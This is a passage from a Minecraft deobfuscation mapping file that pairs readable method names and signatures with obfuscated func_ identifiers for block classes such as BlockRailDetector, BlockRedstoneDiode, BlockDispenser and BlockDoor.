(Lnet/minecraft/block/BlockRailBase$EnumRailDirection;)Z +MD: net/minecraft/block/BlockRailDetector$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockRailDetector$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockRailDetector/hasComparatorInputOverride ()Z net/minecraft/block/BlockRailDetector/func_149740_M ()Z +MD: net/minecraft/block/BlockRailDetector/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRailDetector/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRailDetector/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockRailDetector/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockRailDetector/randomTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRailDetector/func_180645_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRailDetector/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockRailDetector/func_180634_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockRailDetector/findMinecarts (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Ljava/lang/Class;[Lcom/google/common/base/Predicate;)Ljava/util/List; net/minecraft/block/BlockRailDetector/func_176571_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Ljava/lang/Class;[Lcom/google/common/base/Predicate;)Ljava/util/List; +MD: net/minecraft/block/BlockRailDetector/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockRailDetector/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockRailDetector/getDectectionBox (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockRailDetector/func_176572_a (Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockRailDetector/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRailDetector/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRailDetector/getStrongPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockRailDetector/func_176211_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockRailDetector/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRailDetector/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRailDetector/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRailDetector/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRailDetector/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockRailDetector/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockRailDetector/updatePoweredState (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRailDetector/func_176570_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRailDetector/canProvidePower ()Z net/minecraft/block/BlockRailDetector/func_149744_f ()Z +MD: net/minecraft/block/BlockRailDetector/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockRailDetector/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockRailDetector/getShapeProperty ()Lnet/minecraft/block/properties/IProperty; net/minecraft/block/BlockRailDetector/func_176560_l ()Lnet/minecraft/block/properties/IProperty; +MD: net/minecraft/block/BlockRedstoneDiode/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockRedstoneDiode/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockRedstoneDiode/randomTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRedstoneDiode/func_180645_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRedstoneDiode/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockRedstoneDiode/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockRedstoneDiode/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneDiode/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneDiode/getActiveSignal (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneDiode/func_176408_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneDiode/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockRedstoneDiode/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockRedstoneDiode/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockRedstoneDiode/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockRedstoneDiode/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockRedstoneDiode/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockRedstoneDiode/isLocked (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockRedstoneDiode/func_176405_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockRedstoneDiode/getStrongPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockRedstoneDiode/func_176211_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockRedstoneDiode/isAssociatedBlock (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockRedstoneDiode/func_149667_c (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockRedstoneDiode/isOpaqueCube ()Z net/minecraft/block/BlockRedstoneDiode/func_149662_c ()Z +MD: net/minecraft/block/BlockRedstoneDiode/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneDiode/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneDiode/getPowerOnSides (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneDiode/func_176407_c (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneDiode/getPowerOnSide (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/BlockRedstoneDiode/func_176401_c (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/BlockRedstoneDiode/canPowerSide (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockRedstoneDiode/func_149908_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockRedstoneDiode/isFullCube ()Z net/minecraft/block/BlockRedstoneDiode/func_149686_d ()Z +MD: net/minecraft/block/BlockRedstoneDiode/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockRedstoneDiode/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockRedstoneDiode/onBlockDestroyedByPlayer (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneDiode/func_176206_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneDiode/isRedstoneRepeaterBlockID (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockRedstoneDiode/func_149909_d (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockRedstoneDiode/getDelay (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneDiode/func_176403_d (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneDiode/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockRedstoneDiode/func_176409_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockRedstoneDiode/shouldBePowered (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockRedstoneDiode/func_176404_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockRedstoneDiode/isAssociated (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockRedstoneDiode/func_149907_e (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockRedstoneDiode/getPoweredState (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneDiode/func_180674_e (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneDiode/calculateInputStrength (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneDiode/func_176397_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockRedstoneDiode/updateState (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneDiode/func_176398_g (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneDiode/notifyNeighbors (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockRedstoneDiode/func_176400_h (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockRedstoneDiode/canProvidePower ()Z net/minecraft/block/BlockRedstoneDiode/func_149744_f ()Z +MD: net/minecraft/block/BlockRedstoneDiode/isFacingTowardsRepeater (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockRedstoneDiode/func_176402_i (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockRedstoneDiode/getUnpoweredState (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockRedstoneDiode/func_180675_k (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockRedstoneDiode/isPowered (Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockRedstoneDiode/func_176406_l (Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockRedstoneDiode/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockRedstoneDiode/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockRedstoneDiode/getTickDelay (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockRedstoneDiode/func_176399_m (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockDirt$DirtType/getMetadata ()I net/minecraft/block/BlockDirt$DirtType/func_176925_a ()I +MD: net/minecraft/block/BlockDirt$DirtType/byMetadata (I)Lnet/minecraft/block/BlockDirt$DirtType; net/minecraft/block/BlockDirt$DirtType/func_176924_a (I)Lnet/minecraft/block/BlockDirt$DirtType; +MD: net/minecraft/block/BlockDirt$DirtType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockDirt$DirtType/func_176927_c ()Ljava/lang/String; +MD: net/minecraft/block/BlockDirt$DirtType/func_181066_d ()Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockDirt$DirtType/func_181066_d ()Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockDirt$DirtType/getName ()Ljava/lang/String; net/minecraft/block/BlockDirt$DirtType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockDirt$DirtType/toString ()Ljava/lang/String; net/minecraft/block/BlockDirt$DirtType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockDirt$DirtType/values ()[Lnet/minecraft/block/BlockDirt$DirtType; net/minecraft/block/BlockDirt$DirtType/values ()[Lnet/minecraft/block/BlockDirt$DirtType; +MD: net/minecraft/block/BlockDirt/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockDirt/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockDirt/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockDirt/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockDirt/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockDirt/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockDirt/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockDirt/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockDirt/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockDirt/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockDirt/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockDirt/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockDirt/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockDirt/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockDirt/getDamageValue (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockDirt/func_176222_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockDispenser/hasComparatorInputOverride ()Z net/minecraft/block/BlockDispenser/func_149740_M ()Z +MD: net/minecraft/block/BlockDispenser/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockDispenser/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockDispenser/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockDispenser/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockDispenser/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockDispenser/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockDispenser/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockDispenser/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockDispenser/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockDispenser/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockDispenser/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockDispenser/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockDispenser/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockDispenser/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockDispenser/getDispensePosition (Lnet/minecraft/dispenser/IBlockSource;)Lnet/minecraft/dispenser/IPosition; net/minecraft/block/BlockDispenser/func_149939_a (Lnet/minecraft/dispenser/IBlockSource;)Lnet/minecraft/dispenser/IPosition; +MD: net/minecraft/block/BlockDispenser/getBehavior (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/dispenser/IBehaviorDispenseItem; net/minecraft/block/BlockDispenser/func_149940_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/dispenser/IBehaviorDispenseItem; +MD: net/minecraft/block/BlockDispenser/getRenderType ()I net/minecraft/block/BlockDispenser/func_149645_b ()I +MD: net/minecraft/block/BlockDispenser/getFacing (I)Lnet/minecraft/util/EnumFacing; net/minecraft/block/BlockDispenser/func_149937_b (I)Lnet/minecraft/util/EnumFacing; +MD: net/minecraft/block/BlockDispenser/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockDispenser/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockDispenser/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockDispenser/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockDispenser/getStateForEntityRender (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockDispenser/func_176217_b (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockDispenser/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockDispenser/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockDispenser/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockDispenser/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockDispenser/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockDispenser/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockDispenser/setDefaultDirection (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockDispenser/func_176438_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockDispenser/dispense (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockDispenser/func_176439_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockDispenser/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockDispenser/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockDoor$EnumDoorHalf/getName ()Ljava/lang/String; net/minecraft/block/BlockDoor$EnumDoorHalf/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockDoor$EnumDoorHalf/toString ()Ljava/lang/String; net/minecraft/block/BlockDoor$EnumDoorHalf/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockDoor$EnumDoorHalf/values ()[Lnet/minecraft/block/BlockDoor$EnumDoorHalf; net/minecraft/block/BlockDoor$EnumDoorHalf/values ()[Lnet/minecraft/block/BlockDoor$EnumDoorHalf; +MD: net/minecraft/block/BlockDoor$EnumHingePosition/getName ()Ljava/lang/String; net/minecraft/block/BlockDoor$EnumHingePosition/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockDoor$EnumHingePosition/toString ()Ljava/lang/String; net/minecraft/block/BlockDoor$EnumHingePosition/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockDoor$EnumHingePosition/values ()[Lnet/minecraft/block/BlockDoor$EnumHingePosition; net/minecraft/block/BlockDoor$EnumHingePosition/values ()[Lnet/minecraft/block/BlockDoor$EnumHingePosition; +MD: net/minecraft/block/BlockDoor/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockDoor/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockDoor/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockDoor/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockDoor/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockDoor/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockDoor/onBlockHarvested (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockDoor/func_176208_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockDoor/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockDoor/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockDoor/collisionRayTrace (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/block/BlockDoor/func_180636_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/block/BlockDoor/toggleDoor (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Z)V net/minecraft/block/BlockDoor/func_176512_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Z)V +MD: net/minecraft/block/BlockDoor/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockDoor/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockDoor/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockDoor/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockDoor/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockDoor/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockDoor/removeHalfBit (I)I net/minecraft/block/BlockDoor/func_176510_b (I)I +MD: net/minecraft/block/BlockDoor/getSelectedBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockDoor/func_180646_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockDoor/isPassable (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockDoor/func_176205_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockDoor/isOpaqueCube ()Z net/minecraft/block/BlockDoor/func_149662_c ()Z 